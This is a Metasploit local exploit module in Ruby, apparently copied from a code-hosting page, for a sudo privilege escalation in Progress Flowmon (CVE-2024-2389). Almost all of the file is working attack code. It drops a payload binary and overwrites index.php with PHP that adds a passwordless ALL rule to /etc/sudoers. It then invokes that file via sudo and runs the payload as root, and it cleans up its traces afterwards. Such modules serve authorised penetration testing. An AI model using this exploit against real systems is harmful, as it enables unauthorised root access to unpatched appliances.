100 lines
3.8 KiB
Ruby
100 lines
3.8 KiB
Ruby
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Post::File
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Progress Flowmon Local sudo privilege escalation',
|
|
'Description' => %q{
|
|
This module abuses a feature of the sudo command on Progress Flowmon.
|
|
Certain binary files are allowed to automatically elevate
|
|
with the sudo command. This is based off of the file name. This
|
|
includes executing a PHP command with a specific file name. If the
|
|
file is overwritten with PHP code it can be used to elevate privileges
|
|
to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.
|
|
},
|
|
'Author' => [
|
|
'Dave Yesland with Rhino Security Labs',
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],
|
|
['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
|
|
],
|
|
'DisclosureDate' => '2024-03-19',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
},
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Targets' => [['Automatic', {}]],
|
|
'Privileged' => true
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
|
|
])
|
|
end
|
|
|
|
def check
|
|
score = 0
|
|
score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')
|
|
score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')
|
|
score += 1 if exists?('/var/www/shtml/translate.php')
|
|
vprint_status("Found #{score} indicators this is a Progress Flowmon product")
|
|
return CheckCode::Detected if score > 0
|
|
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
def on_new_session(session)
|
|
super
|
|
print_status('Cleaning up addition to /etc/sudoers')
|
|
if session.type.to_s.eql? 'meterpreter'
|
|
session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\""
|
|
elsif session.type.to_s.eql? 'shell'
|
|
session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers'
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
unless @index_php_contents.blank?
|
|
print_status('Restoring /var/www/shtml/index.php file contents...')
|
|
file_rm('/var/www/shtml/index.php')
|
|
write_file('/var/www/shtml/index.php', @index_php_contents)
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
@index_php_contents = ''
|
|
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
|
|
exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
|
|
|
|
vprint_status("Saving payload as #{exploit_file}")
|
|
write_file(exploit_file, generate_payload_exe)
|
|
chmod(exploit_file)
|
|
register_file_for_cleanup(exploit_file)
|
|
@index_php_contents = read_file('/var/www/shtml/index.php')
|
|
print_status('Overwriting /var/www/shtml/index.php with payload')
|
|
cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')
|
|
print_status('Executing sudo to elevate privileges')
|
|
cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;')
|
|
cmd_exec("sudo '#{exploit_file}'")
|
|
end
|
|
end
|